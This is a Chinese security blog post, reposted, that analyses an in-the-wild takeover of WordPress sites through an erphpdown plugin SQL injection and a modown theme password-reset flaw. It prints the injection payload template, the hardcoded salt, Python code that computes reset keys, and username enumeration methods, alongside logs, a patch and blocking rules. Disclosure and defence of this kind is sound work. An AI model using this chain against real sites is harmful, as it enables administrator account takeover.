某WordPress付费插件严重漏洞在野攻击分析以及漏洞复现
原创 七夜安全 2026-11-01 20:29 广东

模板兔modown 主题 + erphpdown 插件,官方不升级的话,各位站长能不用就别用了

好久没写安全分析类的文章了,这次也是把我搞的火大,我自己用了模板兔modown 主题 + erphpdown 插件搭建了一个小网站,也没啥重要信息,攻击者在利用漏洞的时候,一直给我发重置邮件,扰人休息,只能看看咋回事。
本来想假如有漏洞的话,直接升级一下就可以了,毕竟是付费版本,发现这个主题官网不知道啥时候停摆了,用这个主题的站长其实挺多,官方不维护,只能自己下场看看啥问题,维护一下。

下面整个攻击流程的分析,我都用example.com替代了,说实话用AI来排版真舒服,哈哈
一、摘要
项 | 内容 |
|---|---|
风险等级 | 严重(Critical) |
最终影响 | 任意注册用户可重置管理员密码,完全接管站点 |
漏洞数量 | 2 个(1 个插件 SQL 注入 + 1 个主题密码重置逻辑缺陷) |
组合方式 | 注入读出 |
已知在野利用 | 2026-10-31 多个 IP 对该站反复改密,使用同一重置 key |
2026-10-31,多个来源 IP 对该站反复执行密码重置,并复用了同一个重置 key。日志显示攻击者全程使用 curl 直连,路径高度固定:GET /wp-login.php 触发找回 → GET /login?action=reset_password&key=...&login=admin 拿到有效重置表单 → POST /wp-login.php 改密。
攻击链一句话:用 epd_r64 注入把数据库里 wp_users.user_activation_key 读出来,再按 modown 的公式 md5(盐 + key) 本地算出重置链接 key,就能合法走通重置密码流程。
二、攻击链全貌

两个关键事实:
1. key 可读:
user_activation_key存在wp_users表,且 erphpdown 插件存在可注入点,任何登录用户都能把它读出来。2. key 可算:modown 重置校验用的是
md5(硬编码盐 + key),盐是公开常量,攻击者离线即可算出合法重置 key。
2.1 获取管理员用户名的方式(攻击前置)
第 2 步"触发找回密码"是匿名开放接口,但要让系统为目标账号生成重置 key,必须先确定管理员用户名(或邮箱)。获取方式不限于默认 admin,常见手段如下:
方式 | 手段 | 成本 | 说明 |
|---|---|---|---|
① 默认用户名 | 直接尝试 | 零成本 | 大量站点未修改默认用户名,可立即触发找回 |
② 作者枚举 | GET /?author=1→ 302 跳转暴露登录名 | 低 | 逐个 |
③ REST API | GET /wp-json/wp/v2/users | 低 | WordPress 默认暴露全部用户的登录名与 ID |
④ 找回响应差异 | lostpassword对"用户名不存在/已发送"返回不同提示 | 低 | 逐个试探确认用户名是否真实存在 |
⑤ 邮箱触发 | 从备案、whois、联系页、文章作者处获取管理员邮箱 | 中 | lostpassword 支持填 |
⑥ SQL 注入直读 | epd_r64 盲注 | 依赖注入可用 | 无需任何外部信息直接读出用户名(本报告复现所用) |

路径说明:方式 ①②③④⑤ 仅需匿名访问即可完成;方式 ⑥ 依赖注入可用。任一路径拿到用户名后进入第 2 步,后续与上文攻击链一致:lostpassword/modown 写入新 key → 注入读出 → 离线算 reset_key → 重置页改密 → 接管。用户名本身不是利用的门槛,真正的门槛是注入是否可用。
三、漏洞审计
3.1 漏洞 1:erphpdown epd_r64 SQL 注入
文件:wp-content/plugins/erphpdown/includes/pay.erphp.php
入口函数 _epd_r64()(L420-427,挂 init,任意页面可触发):
add_filter('init', '_epd_r64', 10);
function _epd_r64(){
if(isset($_GET['epd_r64']) && $_GET['epd_r64']){
...
global $wpdb;
$epd_v64 = base64_decode($_GET['epd_r64']); // ① 无过滤解码
$epd_v64_arr = explode('-', $epd_v64); // ② 按"-"切3段
if(is_array($epd_v64_arr) && count($epd_v64_arr) == 3){
$method = $epd_v64_arr[0]; // ③ 第1段=支付方式=用户可控
$price = $epd_v64_arr[1];
if(time()-$epd_v64_arr[2] > 60*30){ // ④ 第3段须为当前时间戳(30分钟内)
wp_die("链接已过期!");
}
...
$epd_order = _epd_create_page_order($method, 'r', $price); // ⑤ $method 直接传入SQL 拼接点(L407-408):
$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES
(...,'$payment',...)"; // $payment = $method,未转义
$a=$wpdb->query($sql);成因:
•
base64_decode后没有任何转义 / 过滤;• 第 1 段
$method原样传入_epd_create_page_order(),最终未转义拼接进 INSERT;• 攻击者用
x',IF((条件),SLEEP(2),1),3,4)#闭合引号、替换列值、#注释尾部,构成时间盲注。
触发模板(第 3 段时间戳必须实时生成):
epd_r64 = base64("x',IF((条件),SLEEP(2),1),3,4)#-10-<当前unix时间戳>")
GET /?epd_r64=<URL编码后的base64>&ice_type=1登录检查:_epd_create_page_order() 内有两次 "请先登录" 拦截(L27 无 post/type/ 未登录;L239 VIP 分支未开且未登录)。匿名请求会被 500 拦截,必须携带任意已登录用户的 Cookie 才能到达注入点(本次复现已验证)。
3.2 漏洞 2:modown 主题密码重置逻辑缺陷
文件:wp-content/themes/modown/action/login.php
生成 key(L199-205,action=password):向 wp_users.user_activation_key 写入随机 key,同时发找回邮件。
校验并改密(L220-249,action=reset):
// 校验:md5($md5_str . user_activation_key) == 传入的 reset_key
if(md5($md5_str.$user_data->user_activation_key) == $reset_key){
wp_set_password($new_password, $user_id); // 直接改密
}关键缺陷:
• 盐
$md5_str默认硬编码M2O7B4A8N5T9U0(后台选项login_password_key可覆盖,但多数站点未设置);• 重置 key 公式公开可算:
重置key = md5(SALT + user_activation_key);• 只要攻击者能拿到
user_activation_key,就能离线构造合法重置链接。
3.3 组合利用关系
步骤 | 利用点 | 产出 |
|---|---|---|
1 | 触发找回密码(主题或 WP 原生) | 数据库写入新 |
2 | erphpdown | 读出 |
3 | 本地计算 | 合法重置 key |
4 | GET /login?action=reset_password&key=...&login=admin | 通过校验,返回有效表单 |
5 | POST action=reset提交新密码 | 管理员密码被改 |
四、攻击流程时间线(日志证据)
来源:全量日志 597 万条(example.com.log.tar.gz),攻击行为集中于 2026-10-31。
15:14 221.216.116.71 探测 epd_r64 注入点(information_schema 试探,多行子查询报错500)
17:17 114.254.2.211 POST /wp-content/themes/modown/action/login.php(触发找回密码)
21:19 39.144.79.232 带登录Cookie的盲注序列(IF(1=2) → 200 0B,时间盲注提取)
21:39 223.104.42.163 GET /login?action=reset_password&key=24998d4d6d2bb4aa2c5092d1754e4f3c&login=admin
→ 200 3265B(有效重置表单)
21:39 223.104.42.163 POST /wp-login.php → 200 12096B(登录成功)关键事实:
• 多个 IP(223.104.42.163/153、221.216.116.71、39.144.79.232、114.254.2.211、220.205.248.15、203.114.90.19)共用同一重置 key
24998d4d6d2bb4ba2c5092d1754e4f3c反复改密,说明攻击脚本共享、key 已公开流转;• 重置页有效 / 无效可区分(真实 key → 200/3251B 含【设置新密码】表单;伪造 / 空 key → 200/2069B 无效),主题确实执行
md5(盐+user_activation_key)比对。
五、复现方式(已验证)
5.1 前置条件
1. 站点存在未升级的 erphpdown 插件(
pay.erphp.php含 407 行未转义拼接);2. 注册任意普通用户并登录,取得 Cookie(
wordpress_logged_in_*、PHPSESSID)—— 注入点要求登录态;3. 目标:
wp_users.ID=1(管理员 admin)。
5.2 注入点自检
IF((1=1),SLEEP(2),1) → 响应 ~2s(慢)
IF((1=2),SLEEP(2),1) → 响应 <1s(快)慢 / 快差异 = 注入存在。
5.3 盲注提取(脚本 epd_r64_blind_extract.py)
python epd_r64_blind_extract.py `
--cookie "wordpress_logged_in_xxx=值; PHPSESSID=值" `
--where "ID=1" --length 64脚本特性:
• 时间戳每次请求实时生成(满足 30 分钟窗口);
• 自动 base64 + URL 编码;
• 注入点自检(
--no-probe可跳过);• 二分提取 ASCII 32-126,逐字符 / 逐字段;
• 表 / 字段 / WHERE 全参数化,可提任意内容。
5.4 离线算重置 key
import hashlib
SALT = "M2O7B4A8N5T9U0" # 后台未设 login_password_key 时为默认盐
key = "<提取出的 user_activation_key>"
reset_key = hashlib.md5((SALT + key).encode()).hexdigest()
print(reset_key)5.5 验证(只到 "验证" 为止,不含改密)
GET /login?action=reset_password&key=<reset_key>&login=admin
→ 返回 200/3251B 且含【设置新密码】表单 = key 有效,攻击者视角的"合法重置链接"达成复现脚本不包含实际提交新密码(POST action=reset),避免审计过程真正改密;日志攻击者最后一步为 POST 改密 + 登录。
六、调用关系

URL参数链:epd_r64 → base64_decode → explode('-')[:3] → [0]$method → _epd_create_page_order($method,'r',$price)
→ INSERT INTO {$wpdb->icemoney} VALUES(...,'$payment',...) → $wpdb->query($sql)七、缓解方案(按优先级)
优先级 | 措施 | 说明 |
|---|---|---|
P0 | 能停用就停用 | 已经不支持了能不用就不用这个主题了 |
P0 | 后台设置 login_password_key 为随机长字符串 | 盐不再可预测,即使读到 key 也算不出重置 key(临时止血) |
P1 | **Nginx / 宝塔防火墙拦截 ** | 已交付 |
P1 | 封堵主题前台接口 | /wp-content/themes/modown/action/ 匿名访问一律 403; |
P1 | 全量轮换密码 | 管理员 + 疑似后门账号(已交付 |
P2 | 登录加固 | 管理员开 2FA、登录验证码、 |
P2 | 数据库最小权限 | 站点库账号仅授权本库,禁用 root; |
P2 | 监控告警 | 日志关键词: |
P3 | 禁用高危 PHP 函数 | eval/system/exec/shell_exec/passthru/proc_open/popen等(宝塔 PHP 设置) |
P3 | 定期备份与演练 | 每日备份数据库 + 网站;验证恢复流程 |
代码级修复示例(插件升级前临时补丁)
// pay.erphp.php L407 原:
$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,'$payment',...)";
// 改为参数化:
$wpdb->query($wpdb->prepare(
"INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,%s,...)",
$payment
));
// 或最小改动:$payment = esc_sql($payment);八、交付物清单
文件 | 用途 |
|---|---|
epd_r64_blind_extract.py(不提供防止被扩大利用) | 通用盲注提取脚本(时间戳自动生成、任意表 / 字段、登录 Cookie 支持) |
modown_reset_exploit.py(不提供防止扩大利用) | 完整复现链(触发找回→提取→算 key→验证) |
nginx_rules.conf | Nginx 拦截规则(加固版):epd_r64/author 枚举/xmlrpc/modown action、重置路由(action=reset_password|password)、REST 用户接口仅登录可见、wp-login 限流 |
cleanup.sql | 数据库清理(加固版):清 user_activation_key(本次攻击载体)与 _password_reset_key、踢会话、查后门账号、清注入污染行 |
本文转载自微信公众号「七夜安全博客」,查看原文。版权归原作者所有,如有侵权请联系删除。